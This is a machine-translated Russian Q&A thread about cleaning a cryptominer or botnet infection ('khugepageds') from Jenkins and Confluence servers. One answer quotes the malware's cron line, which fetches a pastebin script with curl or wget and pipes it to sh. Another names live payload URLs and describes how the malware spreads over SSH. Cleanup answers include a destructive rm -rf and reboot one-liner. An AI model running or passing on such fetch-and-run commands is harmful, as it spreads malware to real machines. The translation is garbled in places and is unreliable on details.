Jenkins Высокая загрузка ЦП Khugepageds - программирование
Подтвердить что ты не робот

Jenkins Высокая загрузка ЦП Khugepageds

enter image description here

Итак, на рисунке выше показана команда khugepageds которая время от времени использует от 98 до 100 % ЦП.

Я пытался выяснить, как jenkins использует эту команду или что с этим делать, но jenkins.

Я сделал следующее

  • pkill Дженкинс
  • служба Дженкинс Стоп
  • сервис Дженкинс старт

Когда я pkill использование снижается, но после перезапуска снова.

У кого-нибудь была эта проблема раньше?

4b9b3361

Ответ 1

Итак, мы только что это случилось с нами. Что касается других ответов и некоторых собственных копаний, мы смогли убить, чтобы обработать (и сохранить его уничтоженным), выполнив следующую команду...

rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;

Обязательно замените PID_OF_khugepageds на PID на вашем компьютере. Это также очистит запись в crontab. Запустите все это как одну команду, чтобы процесс не воскресил сам себя. Машина перезагрузится в соответствии с последней командой.

ПРИМЕЧАНИЕ. Хотя приведенная выше команда должна завершить процесс, вам, вероятно, захочется свернуть/восстановить ваши ключи SSH (на компьютере Jenkins, BitBucket/GitHub и т.д., А также на любых других компьютерах, к которым у Jenkins был доступ) и, возможно, даже ускорить новый экземпляр Jenkins (если у вас есть такая опция).

Ответ 2

Да, мы также пострадали от этой уязвимости, благодаря pittss мы смогли обнаружить немного больше об этом.

Вы должны проверить /var/logs/syslogs на наличие скрипта curl pastebin, который, похоже, запускает процесс мозолей в системе, он попытается снова расширить доступ к папке /tmp и установить нежелательные пакеты/скрипт.

Вы должны удалить все из папки /tmp, остановить jenkins, проверить процесс cron и удалить те, которые кажутся подозрительными, перезапустить виртуальную машину.

Так как вышеупомянутая уязвимость добавляет нежелательный исполняемый файл в /tmp foler и пытается получить доступ к виртуальной машине через ssh. Эта уязвимость также добавила процесс cron в вашей системе, остерегайтесь его также удалять.

Также проверьте папку ~/.ssh на наличие известных_хостов и авторизованных ключей для любых подозрительных открытых ключей ssh. Атакующий может добавить свои ssh-ключи, чтобы получить доступ к вашей системе.

Надеюсь это поможет.

Ответ 3

Это уязвимость Confluence https://nvd.nist.gov/vuln/detail/CVE-2019-3396, опубликованная 25 марта 2019 года. Она позволяет удаленным злоумышленникам достигать обхода пути и выполнять удаленный код на экземпляре Confluence Server или в центре обработки данных через внедрение шаблона на стороне сервера.

Возможное решение

  1. Не запускайте Confluence как root!
  2. Остановить агент ботнета: kill -9 $ (cat/tmp/.X11unix); killall -9 khugepageds
  3. Остановите слияние: <confluence_home>/app/bin/stop-confluence.sh
  4. Удалить сломанный crontab: crontab -u <confluence_user> -r
  5. Заткни дыру, заблокировав доступ к уязвимому пути /rest/tinymce/1/macro/preview на внешнем сервере; для nginx это примерно так:
    location /rest/tinymce/1/macro/preview {
        return 403;
    }
  1. Перезапустите Confluence.

Эксплойт

Содержит две части: сценарий оболочки из https://pastebin.com/raw/xmxHzu5P и двоичный файл x86_64 для Linux из http://sowcar.com/t6/696/1554470365x2890174166.jpg

Сначала скрипт убивает всех других известных троянских/вирусов/агентов ботнетов, загружает и порождает двоичный файл из /tmp/kerberods и перебирает /root/.ssh/known_hosts, пытаясь распространиться на соседние машины.

Двоичный файл размером 3395072 и датой 5 апреля 16:19 упакован исполняемым упаковщиком LSD (http://lsd.dg.com). Я еще не исследовал, что он делает. Похоже на контроллер ботнета.

Ответ 4

это похоже на уязвимость. попробуйте посмотреть syslog (/var/log/syslog, а не журнал jenkinks) примерно так: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).

Если это так, попробуйте остановить jenkins, очистить /tmp dir и убить все pids, запущенные пользователем jenkins.

После того, как использование ЦП прекратится, попробуйте обновить до последней версии tls jenkins. Далее после запуска jenkins обновите все плагины в jenkins.

Ответ 5

Я убил процесс khugepageds и удалил запись crontab для Дженкинса.

Я также отключил crontab для jenkins, добавив пользователя в файл cron.deny:

кошка /etc/cron.deny

Дженкинс

Но проблема не была решена. Может кто-нибудь помочь мне об этой проблеме?

Ответ 6

Решение, которое работает, потому что файл cron просто воссоздается, состоит в том, чтобы очистить cronfile Дженкинса, я также изменил владельца и также сделал файл неизменным.

Это, наконец, остановило этот процесс от..

Ответ 8

Вы, ребята, думаете, это из-за какого-то плагина Дженкинса? Вопрос, как получается, что к хосту jenkins обращаются извне?

Ответ 9

Получил удар, также через слияние

Ответ 10

В моем случае это делало сборку случайным образом со следующей ошибкой:

Maven JVM неожиданно завершил работу с кодом выхода 137

Мне потребовалось некоторое время, чтобы уделить должное внимание процессу Khugepageds, поскольку в каждом месте, где я читал об этой ошибке, данное решение заключалось в увеличении памяти.

Проблема была решена с помощью решения @HeffZilla.